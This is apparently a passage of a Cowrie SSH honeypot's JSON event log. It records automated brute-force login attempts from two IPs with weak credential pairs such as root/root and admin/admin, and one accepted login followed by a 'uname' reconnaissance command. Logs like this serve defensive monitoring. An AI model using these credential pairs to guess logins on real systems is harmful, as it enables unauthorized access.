ha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:17.581665Z","src_ip":"91.92.40.171","session":"aced7d621554","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:18.160505Z","src_ip":"91.92.40.171","session":"aced7d621554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:19.270969Z","src_ip":"91.92.40.171","session":"aced7d621554","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":51890,"dst_ip":"159.203.135.109","dst_port":22,"session":"a88623878da9","protocol":"ssh","message":"New connection: 91.92.42.133:51890 (159.203.135.109:22) [session: a88623878da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:21.342357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:21.773769Z","src_ip":"91.92.42.133","session":"a88623878da9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:21.777142Z","src_ip":"91.92.42.133","session":"a88623878da9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"modzmodz","message":"login attempt [admin1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:23.295051Z","src_ip":"91.92.42.133","session":"a88623878da9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":54968,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9fec284bafb","protocol":"ssh","message":"New connection: 91.92.40.171:54968 (159.203.135.109:22) [session: f9fec284bafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:23.520362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:23.625116Z","src_ip":"91.92.40.171","session":"f9fec284bafb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:23.726096Z","src_ip":"91.92.40.171","session":"f9fec284bafb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:24.387528Z","src_ip":"91.92.40.171","session":"f9fec284bafb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:24.487854Z","src_ip":"91.92.42.133","session":"a88623878da9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:25.526356Z","src_ip":"91.92.40.171","session":"f9fec284bafb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":42370,"dst_ip":"159.203.135.109","dst_port":22,"session":"1de5bb55c9a5","protocol":"ssh","message":"New connection: 91.92.42.133:42370 (159.203.135.109:22) [session: 1de5bb55c9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:29.236599Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35582,"dst_ip":"159.203.135.109","dst_port":22,"session":"46f1e8662ff4","protocol":"ssh","message":"New connection: 91.92.40.171:35582 (159.203.135.109:22) [session: 46f1e8662ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:29.314508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:29.318908Z","src_ip":"91.92.40.171","session":"46f1e8662ff4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:29.325171Z","src_ip":"91.92.42.133","session":"1de5bb55c9a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:29.327692Z","src_ip":"91.92.42.133","session":"1de5bb55c9a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:29.413854Z","src_ip":"91.92.40.171","session":"46f1e8662ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa112211..","message":"login attempt [root/Aa112211..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:29.803740Z","src_ip":"91.92.40.171","session":"46f1e8662ff4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:30.141540Z","src_ip":"91.92.42.133","session":"1de5bb55c9a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:31.009158Z","src_ip":"91.92.40.171","session":"46f1e8662ff4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:31.233031Z","src_ip":"91.92.42.133","session":"1de5bb55c9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46266,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef463567768d","protocol":"ssh","message":"New connection: 91.92.40.171:46266 (159.203.135.109:22) [session: ef463567768d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:35.058894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:35.095460Z","src_ip":"91.92.40.171","session":"ef463567768d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:35.184123Z","src_ip":"91.92.40.171","session":"ef463567768d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:35.567210Z","src_ip":"91.92.40.171","session":"ef463567768d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:36.969054Z","src_ip":"91.92.40.171","session":"ef463567768d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":37918,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f85ee219d6a","protocol":"ssh","message":"New connection: 91.92.42.133:37918 (159.203.135.109:22) [session: 1f85ee219d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:37.357762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:37.485858Z","src_ip":"91.92.42.133","session":"1f85ee219d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:37.495914Z","src_ip":"91.92.42.133","session":"1f85ee219d6a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:38.684116Z","src_ip":"91.92.42.133","session":"1f85ee219d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:40.095465Z","src_ip":"91.92.42.133","session":"1f85ee219d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":46302,"dst_ip":"159.203.135.109","dst_port":22,"session":"38fbd65e4c7d","protocol":"ssh","message":"New connection: 91.92.40.171:46302 (159.203.135.109:22) [session: 38fbd65e4c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:40.744827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:40.828422Z","src_ip":"91.92.40.171","session":"38fbd65e4c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:40.904694Z","src_ip":"91.92.40.171","session":"38fbd65e4c7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:41.293999Z","src_ip":"91.92.40.171","session":"38fbd65e4c7d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:41.506865Z","src_ip":"91.92.40.171","session":"38fbd65e4c7d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:41.510017Z","src_ip":"91.92.40.171","session":"38fbd65e4c7d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:41.608857Z","src_ip":"91.92.40.171","session":"38fbd65e4c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:41.613309Z","src_ip":"91.92.40.171","session":"38fbd65e4c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38002,"dst_ip":"159.203.135.109","dst_port":22,"session":"a37cff9d62e5","protocol":"ssh","message":"New connection: 91.92.42.133:38002 (159.203.135.109:22) [session: a37cff9d62e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:44.411856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:44.820910Z","src_ip":"91.92.42.133","session":"a37cff9d62e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:16:44.823895Z","src_ip":"91.92.42.133","session":"a37cff9d62e5","protocol":"ssh"}
